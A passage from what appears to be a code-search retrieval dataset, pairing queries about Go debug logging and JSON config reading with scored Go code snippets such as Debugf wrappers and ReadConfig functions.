Notification{},false\n\t\t\t\t}\n\n\t\t\t},\n\t\t}\n\t\t// Saving the intent to storage. \n\t\t// Goroutine will check it then and send if \n\t\t// Resolver returnes true\n\t\tstorage[id] = new_intent\n\t}", "title": "" }, { "docid": "d70cf156d09a5918e057e5d26430e578", "score": "0.46701688", "text": "func (m *AccessPackageAssignmentRequestRequirements) SetIsApprovalRequiredForUpdate(value *bool)() {\n m.isApprovalRequiredForUpdate = value\n}", "title": "" }, { "docid": "400b81b3216bd2ca6e7ed91416d030f4", "score": "0.46611118", "text": "func (o *TableWebhookCall) HasRequest() bool {\n\tif o != nil && o.Request.IsSet() {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "e38958de3c86a1733c09ee930a2e9fba", "score": "0.4659217", "text": "func (s *Scheduler) filterNotification(graphR graph.ReadAccess, key string, value proto.Message, txnSeqNum uint64) bool {\n\tdescriptor := s.registry.GetDescriptorForKey(key)\n\tif descriptor == nil {\n\t\ts.Log.WithFields(logging.Fields{\n\t\t\t\"txnSeqNum\": txnSeqNum,\n\t\t\t\"key\": key,\n\t\t}).Debug(\"Ignoring unimplemented notification\")\n\t\treturn true\n\t}\n\tnode := graphR.GetNode(key)\n\tif node != nil {\n\t\tif getNodeOrigin(node) == kvs.FromNB {\n\t\t\ts.Log.WithFields(logging.Fields{\n\t\t\t\t\"txnSeqNum\": txnSeqNum,\n\t\t\t\t\"key\": key,\n\t\t\t}).Debug(\"Ignoring notification for a NB-managed value\")\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "3b6b4bcb0074e2a3953c0b3c1b395fb0", "score": "0.46568298", "text": "func (m *AccessPackageAssignmentRequestRequirements) GetIsApprovalRequiredForAdd()(*bool) {\n return m.isApprovalRequiredForAdd\n}", "title": "" }, { "docid": "d97864dae98cf7e8033ba71eabaf8634", "score": "0.4656256", "text": "func (_this *HTMLIFrameElement) AllowPaymentRequest() bool {\n\tvar ret bool\n\tvalue := _this.Value_JS.Get(\"allowPaymentRequest\")\n\tret = (value).Bool()\n\treturn ret\n}", "title": "" } ]
0a13484a71ffb49b81d6501da9505f04
Debugf generates a Debug level log with a "DEBUG" annotation. Arguments are handled in the manner of fmt.Printf.
[ { "docid": "21711408ac7fa52db522f2b5dbe8e137", "score": "0.74055517", "text": "func (l *Log) Debugf(f string, a ...interface{}) {\n\tif l == nil {\n\t\treturn\n\t}\n\tif l.IsDebugEnabled() {\n\t\ta = append([]interface{}{\"DEBUG\"}, a...)\n\t\tl.Impl.Printf(\"%s \"+f, a...)\n\t}\n}", "title": "" } ]
[ { "docid": "e6753af891b962180da3d0db89c58196", "score": "0.8257549", "text": "func logDebugf(format string, v ...interface{}) {\n\tif cmdline.Debug {\n\t\tlog.Printf(format, v...)\n\t}\n}", "title": "" }, { "docid": "d1dfa82e32ba39c9276a844a0a9a54a1", "score": "0.8079396", "text": "func (a *App) LogDebugf(template string, args ...interface{}) {\n\ta.logger.Debugf(template, args...)\n}", "title": "" }, { "docid": "54f06400a62a0e790e0e0c6aa1fe2b88", "score": "0.7896502", "text": "func logDebugf(info string, msg string, fields ...interface{}) {\n\tif logutil.GetSkip1Logger().Core().Enabled(zap.DebugLevel) {\n\t\tfields = append(fields, info)\n\t\tlogutil.Debugf(msg+\" %s\", fields...)\n\t}\n}", "title": "" }, { "docid": "37ea2eea6e3245906eab38f42cf4a4e2", "score": "0.7868171", "text": "func Debugf(msg string, args ...interface{}) {\n log.Debugf(msg, args...)\n}", "title": "" }, { "docid": "081df23a9aae0fb36dca47e7e560b46c", "score": "0.78317225", "text": "func Debugf(format string, args ...interface{}) {\n\tLogger.Debugf(format, args...)\n}", "title": "" }, { "docid": "49f936e7a06d9d116a1b8a61a0bb8435", "score": "0.7788153", "text": "func Debugf(format string, args ...interface{}) {\n\tlogger.Debugf(format, args...)\n}", "title": "" }, { "docid": "49f936e7a06d9d116a1b8a61a0bb8435", "score": "0.7788153", "text": "func Debugf(format string, args ...interface{}) {\n\tlogger.Debugf(format, args...)\n}", "title": "" }, { "docid": "3555362c7c6482ce1e6dabf805d3f2b4", "score": "0.77815413", "text": "func Debugf(format string, args ...interface{}) {\n\tlogging.Debugf(format, args...)\n}", "title": "" }, { "docid": "6660d5d79dc996497a2c5060c2dc87de", "score": "0.7779107", "text": "func Debugf(format string, args ...interface{}) {\n\tLog.Debugf(format, args)\n}", "title": "" }, { "docid": "3fc0fe8719fddc7ec1d458adb20e0894", "score": "0.7768727", "text": "func Debugf(format string, args ...interface{}) {\n\tLog.Debugf(format, args...)\n}", "title": "" }, { "docid": "3fc0fe8719fddc7ec1d458adb20e0894", "score": "0.7768727", "text": "func Debugf(format string, args ...interface{}) {\n\tLog.Debugf(format, args...)\n}", "title": "" }, { "docid": "e4656e8264561cd31f5111438834c2a6", "score": "0.77647924", "text": "func Debugf(format string, args ...interface{}) {\n\tdefaultLogger.Debugf(format, args...)\n}", "title": "" }, { "docid": "ddf54b590ff22800019818c61e98f4c5", "score": "0.7737886", "text": "func Debugf(format string, args ...interface{}) {\n\tGlobalLogger().Debugf(format, args...)\n}", "title": "" }, { "docid": "eb512402fbcec9ced6de509324e4708e", "score": "0.77358115", "text": "func Debugf(ctx context.Context, format string, v ...interface{}) {\n\tlog := ExtractLogger(ctx)\n\tlog.Debugf(format, v...)\n}", "title": "" }, { "docid": "def0af61598139d42685b559e35205d3", "score": "0.76836556", "text": "func (l *Logger) Debugf(format string, args ...interface{}) {\r\n\tl.logger.Debugf(format, args...)\r\n}", "title": "" }, { "docid": "2aa9b822b06d3d1e448edf33e539154f", "score": "0.7682863", "text": "func Debugf(format string, args ...interface{}) {\n\tlock.Lock()\n\tdefer lock.Unlock()\n\n\tif level < Debug {\n\t\treturn\n\t}\n\n\tmsg := fmt.Sprintf(\"DEBUG: %s\", format)\n\tif len(args) > 0 {\n\t\tmsg = fmt.Sprintf(msg, args...)\n\t}\n\n\tlog.Println(msg)\n}", "title": "" }, { "docid": "3c22a55836ec5b1143bef3e4e32cf48c", "score": "0.7665969", "text": "func Debugf(format string, v ...interface{}) {\n\tlog.Debugf(format, v...)\n}", "title": "" }, { "docid": "be18e203a3b6c195587cb5b4b9e1346f", "score": "0.76575375", "text": "func Debugf(msg string, v ...interface{}) {\n\tLogger.Debugf(msg, v...)\n}", "title": "" }, { "docid": "f4fdea41fa0214015c8ae13420227cf5", "score": "0.76444703", "text": "func Debugf(msg string, v ...interface{}) string {\n\treturn logr.Debugf(msg, v...)\n}", "title": "" }, { "docid": "e84cbab9e938d3b304e7a15658772363", "score": "0.76431715", "text": "func (n *Node) LogDebugf(template string, args ...interface{}) {\n\tn.log.Debugf(template, args...)\n}", "title": "" }, { "docid": "fcb2b51e15fb13c839d116b3f78a7622", "score": "0.7642525", "text": "func (l *Log) Debugf(format string, args ...interface{}) {\n\tl.logger.Debugf(format, args...)\n}", "title": "" }, { "docid": "d574f92adcbf2166229b079cd955ae98", "score": "0.7640857", "text": "func Debugf(format string, params ...interface{}) {\n\tDefaultLogger.Debugf(format, params...)\n}", "title": "" }, { "docid": "598b069e4a0303268edfc7fa52095eb0", "score": "0.7629095", "text": "func (DefaultLogger) Debugf(format string, p ...interface{}) {\n\tlog.Debugf(format, p)\n}", "title": "" }, { "docid": "d46fca5e94abeec989b17dd5c2146bbb", "score": "0.7624142", "text": "func (z *Logger) Debugf(format string, args ...interface{}) {\n\tz.SugaredLogger.Debugf(format, args...)\n}", "title": "" }, { "docid": "a7a7ee3a27a4bd16ae5cc9f07163d8df", "score": "0.762133", "text": "func Debugf(template string, args ...interface{}) {\n\tlog.Debugf(template, args...)\n}", "title": "" }, { "docid": "395f8cfd5defab883c04276f4a5ba6fc", "score": "0.76181245", "text": "func Debugf(ctx context.Context, format string, args ...interface{}) {\n\tlog.WithFields(utils.GetCommonMetaFromCtx(ctx)).Debugf(format, args...)\n}", "title": "" }, { "docid": "8e3f09d957174041791238b5e2b90d28", "score": "0.76067406", "text": "func Debugf(format string, v ...interface{}) {\n\tlogger.Debugf(format, v...)\n}", "title": "" }, { "docid": "a8257c2cba2b58d721199db3fb5b88be", "score": "0.7604059", "text": "func Debugf(f string, args ...interface{}) {\n\tplog.Debugf(f, args...)\n}", "title": "" }, { "docid": "4050ff3675c4e8fa1ffe9c5c7b54519d", "score": "0.7599541", "text": "func (l *ZapLogger) Debugf(format string, args ...interface{}) {\n\tl.logger.Debugf(format, args...)\n}", "title": "" }, { "docid": "2f3743446e67b6bfedc7d8bb4d583af9", "score": "0.7582302", "text": "func Debugf(format string, args ...interface{}) {\n\tif glog.V(debug) {\n\t\tglog.InfoDepth(1, fmt.Sprintf(\"DEBUG: \"+format, args...)) // 1 == depth in the stack of the caller\n\t}\n}", "title": "" }, { "docid": "48b57d4fcb12042620ff17475f2e4107", "score": "0.75747716", "text": "func Debugf(format string, args ...interface{}) {\n\tif logger != nil && level <= veldt.Debug {\n\t\tlogger.Debugf(prefix+format, args...)\n\t} else {\n\t\tveldt.Debugf(prefix+format, args...)\n\t}\n}", "title": "" }, { "docid": "8abc64b8e0922e1bcfcd11fd93bb85a1", "score": "0.7542478", "text": "func (l *Logger) Debugf(format string, v ...interface{}) { l.lprintf(DEBUG, format, v...) }", "title": "" }, { "docid": "e6d4f74fa0826c64c9cb542a06f3a7bc", "score": "0.7539746", "text": "func Debugf(format string, vars ...interface{}) {\n\tif level > None && level <= Debug {\n\t\tlogger.Printf(strings.Join([]string{\"DEBUG\", format}, \" \"), vars...)\n\t}\n}", "title": "" }, { "docid": "c172c531ca34c602aaac9efcfb2f14ab", "score": "0.753632", "text": "func (d *LevelWrapper) Debugf(format string, args ...interface{}) {\n\tif d.DebugEnabled() {\n\t\td.Logger.Debugf(format, args...)\n\t}\n}", "title": "" }, { "docid": "4a6dae4e8d0ac399885eab8afc7dff51", "score": "0.7533136", "text": "func Debugf(format string, args ...interface{}) {\n\tlogWithFilename().Debugf(format, args...)\n}", "title": "" }, { "docid": "d4c22e4308f8f47ff602e17e68c784b6", "score": "0.7528658", "text": "func Debugf(format string, a ...interface{}) {\n\tlogDebugf(&loggers.Loggers[0], format, a...)\n}", "title": "" }, { "docid": "905e87988bac32b5c389b9216545b331", "score": "0.75120914", "text": "func (l *Logger) Debugf(format string, args ...interface{}) {\n\tl.lock()\n\tdefer l.unlock()\n\tl.logger.Debugf(format, args...)\n}", "title": "" }, { "docid": "937d5834f81d87016bebd42a54f2dac4", "score": "0.7507463", "text": "func (l *NamedLogger) Debugf(format string, params ...interface{}) {\n\tformat, params = l.convert(format, params)\n\tl.Logger.Debugf(format, params...)\n}", "title": "" }, { "docid": "8138a1806796167f7d5830d23b63afbf", "score": "0.7502127", "text": "func Debugf(format string, args ...interface{}) { logRaw(LevelDebug, 2, format, args...) }", "title": "" }, { "docid": "cfd14749967258c9810619c5265691ee", "score": "0.74955255", "text": "func Debugf(message string, v ...interface{}) {\n\tglobalLogger.Debugf(message, v...)\n}", "title": "" }, { "docid": "85da68d639a2c190a9458bd1a76e7da8", "score": "0.7490708", "text": "func Debugf(format string, a ...interface{}) {\n\tlog(defaultLogger, DEBUG, fmt.Sprintf(format, a...))\n}", "title": "" }, { "docid": "6be514d5e5d1d3d8a0e1ff1b2e5b6cd1", "score": "0.74862546", "text": "func (slog stdLogger) Debugf(format string, args ...interface{}) {\n\tlog.Printf(\" DEBUG \"+format, args...)\n}", "title": "" }, { "docid": "e84b5bb6113824f8a2d4b2b019b83426", "score": "0.74792564", "text": "func Debugf(format string, a ...interface{}) {\n\tDefault.Debugf(format, a...)\n}", "title": "" }, { "docid": "ef6e1545031ab104627b45f5ead040f0", "score": "0.7465572", "text": "func (l *Logger) Debugf(format string, a ...interface{}) {\n\tif l.LoggerLevel >= DebugLevel {\n\t\tl.log(l.color.Cyan(\"DEBUG: \"), format, a...)\n\t}\n}", "title": "" }, { "docid": "ed013156ce8331820f2c7228a69873de", "score": "0.74654615", "text": "func Debugf(format string, v ...interface{}) {\n\tif jl.level != INFO {\n\t\tvar s string\n\t\tjl.stdlog.SetPrefix(\"[DEBUG] \")\n\t\tif jl.flag == LstdFlags|Lshortfile {\n\t\t\ts = generateStdflagShortFile()\n\t\t}\n\n\t\tjl.stdlog.Printf(s+format, v...)\n\t}\n}", "title": "" }, { "docid": "90b23a66af981c50cf13607ca804de2f", "score": "0.74621713", "text": "func Debugf(template string, args ...interface{}) {\n\tlogger.Sugar().Debugf(template, args...)\n}", "title": "" }, { "docid": "598308d9b6e43146bdacb41c7e7a184b", "score": "0.7454512", "text": "func Debugf(ctx context.Context, format string, args ...interface{}) {\n\tglobal.Debugf(ctx, format, args...)\n}", "title": "" }, { "docid": "38133e3afe65a3420f4ff4d0dbdee05c", "score": "0.74479836", "text": "func Debugf(format string, params ...interface{}){\n log.Debugf(format, params)\n}", "title": "" }, { "docid": "d3c982ba00d9db6210e69abf240097c1", "score": "0.7438715", "text": "func Debugf(template string, args ...interface{}) {\n\tDefaultLogger.Debugf(template, args...)\n}", "title": "" }, { "docid": "d0b39ac37e5407da603601e10d29f899", "score": "0.7429843", "text": "func (StdLogger) Debugf(format string, v ...interface{}) {}", "title": "" }, { "docid": "1b8d023a8501f13633d38288b8f88ccb", "score": "0.74274457", "text": "func Debugf(format string, v ...interface{}) {\n\tif enableDebug {\n\t\tinfoLogf(format, v...)\n\t}\n}", "title": "" }, { "docid": "68c2fe5a18a325dcb088697cea8f3fb7", "score": "0.74111545", "text": "func (z *ZapLogWrapper) Debugf(format string, args ...interface{}) {\n\tz.l.Debugf(format, args...)\n}", "title": "" }, { "docid": "95269b85ee9115954ed60b7433fb30ad", "score": "0.74006444", "text": "func (logger MockLogger) Debugf(template string, args ...interface{}) {\n\tlogger.Sugar.Debugf(template, args)\n}", "title": "" }, { "docid": "b3b3277d05969eb1d6f94dd43cad1bd4", "score": "0.7394641", "text": "func (d *DummyLogger) Debugf(format string, args ...interface{}) {}", "title": "" }, { "docid": "805b123c381e04f839b61e83b5bd742d", "score": "0.73934776", "text": "func Debugf(format string, a ...interface{}) {\n\tsimlog.Debugf(format, a...)\n}", "title": "" }, { "docid": "9db678d7549ddf12c355f2cc4f12a897", "score": "0.7380392", "text": "func (l *RecordLogger) Debugf(format string, args ...interface{}) {\n\tl.logf(\"debug\", format, args...)\n}", "title": "" }, { "docid": "d5ba0589d37fa682dd7d21adb3284bf9", "score": "0.73795986", "text": "func Debug(format string, args ...interface{}) {\n\tlog.Debugf(format, args...)\n}", "title": "" }, { "docid": "b6c60719697c93e3903a76ce57ac7380", "score": "0.7376653", "text": "func (log *Log) Debugf(format string, a ...interface{}) {\n\tlog.printf(DEBUG, format, a...)\n}", "title": "" }, { "docid": "5ad637eef1df8c35ed2a0ae049fec41a", "score": "0.7368014", "text": "func Debugf(format string, v ...interface{}) {\n\tWithLevelf(LevelDebug, format, v...)\n}", "title": "" }, { "docid": "912cb0e47e57f89acd52be76b51627b4", "score": "0.7366778", "text": "func Debugf(format string, v ...interface{}) {\n\tif Debug {\n\t\tWarnf(format, v...)\n\t}\n}", "title": "" }, { "docid": "4fd1dfc0085617301bad68b600ac1848", "score": "0.73651475", "text": "func Debugf(format string, v ...interface{}) {\n\tstdLogger.Log(DebugLevel, fmt.Sprintf(format, v...))\n}", "title": "" }, { "docid": "9f4b01c81693e6e30968a851a062a63b", "score": "0.7360464", "text": "func (l *Logger) Debugf(format string, log ...interface{}) {\n\tl.instance.Debugf(format, log...)\n}", "title": "" }, { "docid": "b97c49758fea3ebbc4b1ef7910dad7e9", "score": "0.7359183", "text": "func Debugf(msg string, v ...interface{}) {\n\tif lvl <= deb {\n\t\tl.Printf(\"[DEBUG]: \"+msg, v...)\n\t}\n}", "title": "" }, { "docid": "c04b337cdaf0261503f2177273d89a1f", "score": "0.734307", "text": "func (s *Structured) Debugf(format string, args ...interface{}) {\n\tlogrus.Debugf(format, args...)\n}", "title": "" }, { "docid": "22139667d769778f8d330c72d048d714", "score": "0.73418427", "text": "func Debugf(format string, v ...interface{}) {\n\tDefaultTarget.Debugf(format, v...)\n}", "title": "" }, { "docid": "6d69c73aa6e1cb0814f2dfeb9a5950cf", "score": "0.73386675", "text": "func (w *Writer) Debugf(format string, args ...interface{}) {\n\tw.log(\"debug\", format, args...)\n}", "title": "" }, { "docid": "ffe95bc5be16885dcf40e482e75c3b64", "score": "0.7332077", "text": "func Debug(args ...interface{}) {\n\tif defaultLgr == nil {\n\t\treturn\n\t}\n\tdefaultLgr.Debugf(strings.TrimSpace(strings.Repeat(\"%+v \", len(args))), args...)\n}", "title": "" }, { "docid": "a8786cbd301bf317e049ca9663a68946", "score": "0.7322642", "text": "func Debugf(format string, args ...interface{}) {\n\tlogger.Debug(fmt.Sprintf(format, args...))\n}", "title": "" }, { "docid": "b4affe017d78308d50894699c7bf0528", "score": "0.7320251", "text": "func Debugf(format string, args ...interface{}) {\n\tNewDefaultEntry().Debugf(format, args...)\n}", "title": "" }, { "docid": "26676bb20abce75efb12d09a5d2860be", "score": "0.73073775", "text": "func Debugf(format string, args ...interface{}) {\n\tif defaultLgr == nil {\n\t\treturn\n\t}\n\tdefaultLgr.Debugf(format, args...)\n}", "title": "" }, { "docid": "ad7b0129e02eeaf8afbbd9a062251ff3", "score": "0.7300943", "text": "func Debugf(format string, args ...interface{}) {\n\tif env := os.Getenv(EnvDebug); len(env) != 0 {\n\t\tlog.Printf(\"[DEBUG] \"+format+\"\\n\", args...)\n\t}\n}", "title": "" }, { "docid": "ad7b0129e02eeaf8afbbd9a062251ff3", "score": "0.7300943", "text": "func Debugf(format string, args ...interface{}) {\n\tif env := os.Getenv(EnvDebug); len(env) != 0 {\n\t\tlog.Printf(\"[DEBUG] \"+format+\"\\n\", args...)\n\t}\n}", "title": "" }, { "docid": "8590d58d792a7a8c4a403ce7cddc59cd", "score": "0.7300746", "text": "func (l *Log) Debugf(format string, args ...interface{}) {\n\tif l.Debug {\n\t\tfmt.Printf(format, args...)\n\t}\n}", "title": "" }, { "docid": "032574400b34a9a1b1aeb574ae52dd86", "score": "0.7296551", "text": "func (l *Logger) Debugf(msg string, args ...interface{}) {\n\tl.sgLogger.Debugf(msg, args...)\n\t_ = l.lg.Sync()\n}", "title": "" }, { "docid": "e3a55a5b65932a511548abf6ef0fa506", "score": "0.7294782", "text": "func Debugf(ctx context.Context, format string, args ...interface{}) {\n\tinternal.Logf(ctx, logging.Debug, format, args...)\n}", "title": "" }, { "docid": "9a933703eeb23ada5212a228048b952b", "score": "0.7292534", "text": "func Debugf(format string, v ...interface{}) {\n\tdefaultLogger.Log(debugLogging, format, v...)\n}", "title": "" }, { "docid": "619dbda0ac7c8e87073096eef224f19f", "score": "0.72914016", "text": "func (l *Logger) Debugf(format string, v ...interface{}) {\n\tif l.debugEnabled {\n\t\tl.NewEntry().Printf(DEBUG, format, v...)\n\t}\n}", "title": "" }, { "docid": "da50ceba99430d0e62cc57091999ae96", "score": "0.7286065", "text": "func (l NullLogger) Debugf(format string, params ...interface{}) {\n}", "title": "" }, { "docid": "ea632d2709e0df63d972d272461d2b8c", "score": "0.7284647", "text": "func (a CompatLoggerAdapter) Debugf(format string, v ...interface{}) {\n\ta.Printf(\"DEBUG: \"+format, v...)\n}", "title": "" }, { "docid": "179be167eff651a04642c925aceade07", "score": "0.7282681", "text": "func (log *log) Debugf(f string, a ...interface{}) {\n\tf = log.attachPrefix(f)\n\tlogger.DebugfDepth(1, f, a...)\n}", "title": "" }, { "docid": "b9300d560848078df4316562193617cc", "score": "0.7273741", "text": "func (l loggerType) Debugf(format string, args ...interface{}) error {\n\tif config.Logger.Level >= loggerLevelDebug {\n\t\tloggerMutex.Lock()\n\t\tdefer loggerMutex.Unlock()\n\n\t\tline := l.prefix(\"DEBUG\") + fmt.Sprintf(format, args...)\n\t\tif !strings.HasSuffix(line, \"\\n\") {\n\t\t\tline += \"\\n\"\n\t\t}\n\t\t_, err := l.out.Write([]byte(line))\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "2eb5656907ad6bef5d4a3dbbc0d11bde", "score": "0.72733724", "text": "func (l *Logger) Debugf(format string, v ...interface{}) {\n\tif l.Level() >= Debug {\n\t\tl.logDebug.Printf(format, v...)\n\t}\n}", "title": "" }, { "docid": "602fc17f6a5b11a11ac3f751c7e9805a", "score": "0.7272222", "text": "func Debugf(template string, args ...interface{}) {\n\tCurrent.Debugf(template, args...)\n}", "title": "" }, { "docid": "06ad17014e603615f13cf5c16b927da3", "score": "0.72693366", "text": "func Debugf(format string, data ...interface{}) {\n\tif *Debug {\n\t\tlog.Printf(format, data...)\n\t}\n}", "title": "" }, { "docid": "4460a878e0cf0172f00ab84645d1485e", "score": "0.72644114", "text": "func Debug(format string, a ...interface{}) {\n\tif Level >= 4 {\n\t\ta, w := extractLoggerArgs(format, a...)\n\t\ts := fmt.Sprintf(label(format, DebugLabel), a...)\n\n\t\tfmt.Fprintf(w, s)\n\t}\n}", "title": "" }, { "docid": "64fd280c837d0e1369dc20f910f91012", "score": "0.726073", "text": "func (l *logger) Debugf(format string, a ...interface{}) {\n\tif !l.isDebug {\n\t\treturn\n\t}\n\tl.printLog(\"[DEBUG]\", format, a...)\n}", "title": "" }, { "docid": "126d64b01295bea70595d0f99ea4532e", "score": "0.7257295", "text": "func Debugf(format string, v ...interface{}) { std.lprintf(DEBUG, format, v...) }", "title": "" }, { "docid": "4e5e05e7a6951a0fbcf6a0a26c3b0305", "score": "0.7254348", "text": "func (l *stubLogger) Debugf(format string, args ...interface{}) {}", "title": "" }, { "docid": "37c5e8e017064fa6eaf39de0234a293b", "score": "0.72511816", "text": "func (logger *Logger) Debugf(format string, v ...interface{}) {\n\tif DEBUG >= logger.level {\n\t\tlogger.debug.Printf(format, v...)\n\t}\t\n}", "title": "" }, { "docid": "0e68722706a713c925f95d2ded9ab794", "score": "0.7246463", "text": "func Debugf(format string, args ...interface{}) {\n\tif logger.Level >= logrus.DebugLevel {\n\t\tentry := logger.WithFields(logrus.Fields{\"file\": fileInfo(2)})\n\t\tentry.Debugf(format, args...)\n\t}\n}", "title": "" }, { "docid": "a1e31b17f973bb96a1457e2ec88ab122", "score": "0.7241752", "text": "func (l *Logger) Debugf(template string, args ...interface{}) {\n\tl.safeExec(func() {\n\t\tl.inner.Debugf(template, args...)\n\t})\n}", "title": "" }, { "docid": "07e8ac20f73cc30adfc6133e54548e29", "score": "0.7237427", "text": "func (l *BasicLogger) Debugf(format string, vargs ...interface{}) {\n\tl.appendLogEvent(level.DebugLevel, fmt.Sprintf(format, vargs...))\n}", "title": "" }, { "docid": "7323605e61c68ba33eda0fa143891e0f", "score": "0.7234029", "text": "func (logger *Logger) Debugf(format string, args ...interface{}) {\n\tlogger.std.Logf(\"Debug \"+format, args...)\n}", "title": "" }, { "docid": "b75ae8e3027d5613e36bb2e757f2acda", "score": "0.723338", "text": "func Debugf(ctx context.Context, format string, args ...interface{}) {\n\tif ctx == nil {\n\t\tctx = defaultContext\n\t}\n\tif !verbose {\n\t\tif v, _ := ctx.Value(logContextKeyDebug).(bool); !v {\n\t\t\treturn\n\t\t}\n\t}\n\n\tgetLogger(ctx).Infof(format, args...)\n}", "title": "" }, { "docid": "f3afc25b091c1daf4d89d5316f48d67a", "score": "0.72274023", "text": "func (s *StanLogger) Debugf(format string, v ...interface{}) {\n\ts.executeLogCall(func(log Logger, format string, v ...interface{}) {\n\t\t// This is running under the protection of StanLogging's lock\n\t\tif s.debug {\n\t\t\tlog.Debugf(format, v...)\n\t\t}\n\t}, format, v...)\n}", "title": "" }, { "docid": "895ec28439ddd3e57de1653c9c1e0f5a", "score": "0.7223872", "text": "func (l *Logger) Debugf(format string, v ...interface{}) {\n\tif l.debug {\n\t\tl.log.Output(l.calldepth, header(\"DBG\", fmt.Sprintf(format, v...)))\n\t}\n}", "title": "" }, { "docid": "3c043853030dd72fe1d36469bd06657e", "score": "0.72215456", "text": "func Debugf(format string, v ...interface{}) {\n\tif debug {\n\t\tairshipLog.Printf(format, v...)\n\t}\n}", "title": "" }, { "docid": "2963a38894fdff6fa409e16ab6941073", "score": "0.721009", "text": "func (n *nopLogger) Debugf(format string, v ...interface{}) {}", "title": "" }, { "docid": "87f7829e24bb712ad4aeadbb3e042ad1", "score": "0.7206644", "text": "func (l *Logger) Debugf(format string, v ...interface{}) {\n\tl.Log(DebugLevel, fmt.Sprintf(format, v...))\n}", "title": "" }, { "docid": "94c99c20b7a4eb150c9f08febcb884fe", "score": "0.7204462", "text": "func Debugf(format string, args ...interface{}) {\n\tLogf(logrus.DebugLevel, format, args...)\n}", "title": "" } ]
2f28a6ad32af0ca3adc1eee55d8d3181
ReadConfig reads a json file and overwrite with ENV vars
[ { "docid": "26d4e3852381307a87e8abd3d55db90c", "score": "0.77641815", "text": "func ReadConfig(file string, log *logrus.Entry) *Config {\n\tvar config Config\n\n\tif fileExists(file) {\n\t\tfileContent, _ := os.Open(file)\n\n\t\tif err := json.NewDecoder(fileContent).Decode(&config); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n\n\t// Override ENVs\n\t_, err := env.UnmarshalFromEnviron(&config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn &config\n}", "title": "" } ]
[ { "docid": "0d73ae57fe18671b34145432e72c2945", "score": "0.7406486", "text": "func readConfig(configFile string) error {\n\tb, err := ioutil.ReadFile(configFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn json.Unmarshal(b, &config)\n}", "title": "" }, { "docid": "cb526f94042b7a37dad0fd3b1f1f674f", "score": "0.7274379", "text": "func readConfig() (config, error) {\n\tf, err := os.Open(\"config.json\")\n\tdefer f.Close()\n\tif err != nil {\n\t\treturn config{}, err\n\t}\n\n\tbytes, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\treturn config{}, err\n\t}\n\n\tvar c config\n\terr = json.Unmarshal(bytes, &c)\n\tif err != nil {\n\t\treturn config{}, err\n\t}\n\treturn c, nil\n}", "title": "" }, { "docid": "dc83eda441635e030f89c8522972bc83", "score": "0.7254264", "text": "func ReadConfig(file string) error {\n\tif _, err := os.Stat(file); os.IsNotExist(err) {\n\t\treturn nil\n\t}\n\n\tconts, err := ioutil.ReadFile(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = json.Unmarshal(conts, &Current)\n\n\treturn err\n}", "title": "" }, { "docid": "28686fa6e5041e38659bbebd5bb492b0", "score": "0.7196051", "text": "func (m *Manager) ReadConfig(filename string) error {\n\td, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = json.Unmarshal(d, &m.Config)\n\treturn err\n}", "title": "" }, { "docid": "cf249aa5b1c873cab65c38b00e05f2c3", "score": "0.71937543", "text": "func ReadConfig(configFilePath string) (*Config, error) {\n\tvar cfg Config\n\n\tif err := defaults.ReadFromJSON(configFilePath, \"./config/config.json\", &cfg); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &cfg, nil\n}", "title": "" }, { "docid": "e03055efdbb2b7aca9814ea7f6553a6b", "score": "0.7191034", "text": "func ReadConfig(jsonFileName string) (*Config, error) {\n\tfile, err := os.Open(jsonFileName)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer file.Close()\n\n\tdecoder := json.NewDecoder(file)\n\tconfig := Config{}\n\n\tif err = decoder.Decode(&config); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &config, nil\n}", "title": "" }, { "docid": "a0c7e10ce69c75a671d8a9c2084e6c62", "score": "0.7174144", "text": "func ReadConfig() (config Config, err error) {\n\tconfig = Config{}\n\n\tconfigFile, err := os.Open(\"config.json\")\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer configFile.Close()\n\n\tdecoder := json.NewDecoder(configFile)\n\terr = decoder.Decode(&config)\n\tif err != nil {\n\t\treturn\n\t}\n\treturn\n}", "title": "" }, { "docid": "cd384779ab6fe3138add1855c3a63389", "score": "0.7072283", "text": "func ReadConfig(configFile string) (c Config, e error) {\n\tlog.Info(\"Reading configuration file at \", configFile)\n\tcontents, e := ioutil.ReadFile(configFile)\n\tif e != nil {\n\t\tlog.Error(\"Config file error: \", e)\n\t\treturn c, e\n\t}\n\tjson.Unmarshal(contents, &c)\n\treturn c, nil\n}", "title": "" }, { "docid": "6e2bc5e5640ee4029c5e028bffb7dc4c", "score": "0.7066736", "text": "func ReadConfig( filePath string ) Config {\n\n\tdata, err := ioutil.ReadFile( filePath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tconfig := Config{}\n\tjson.Unmarshal(data, &config)\n\n\treturn config\n}", "title": "" }, { "docid": "f27af8757962130f82a1cb5af00c29d4", "score": "0.7013347", "text": "func Read() (*viper.Viper, error) {\n\n\t// Viper config management initialization\n\tcfg.SetConfigType(\"json\")\n\tcfg.SetConfigName(\"matchmaker_config\")\n\tcfg.AddConfigPath(\".\")\n\n\t// Read in config file using Viper\n\terr := cfg.ReadInConfig()\n\tif err != nil {\n\t\tcfgLog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t}).Fatal(\"Fatal error reading config file\")\n\t}\n\n\t// Bind this envvars to viper config vars.\n\t// https://github.com/spf13/viper#working-with-environment-variables\n\t// One important thing to recognize when working with ENV variables is\n\t// that the value will be read each time it is accessed. Viper does not\n\t// fix the value when the BindEnv is called.\n\tfor cfgKey, envVar := range envMappings {\n\t\terr = cfg.BindEnv(cfgKey, envVar)\n\n\t\tif err != nil {\n\t\t\tcfgLog.WithFields(log.Fields{\n\t\t\t\t\"configkey\": cfgKey,\n\t\t\t\t\"envvar\": envVar,\n\t\t\t\t\"error\": err.Error(),\n\t\t\t\t\"module\": 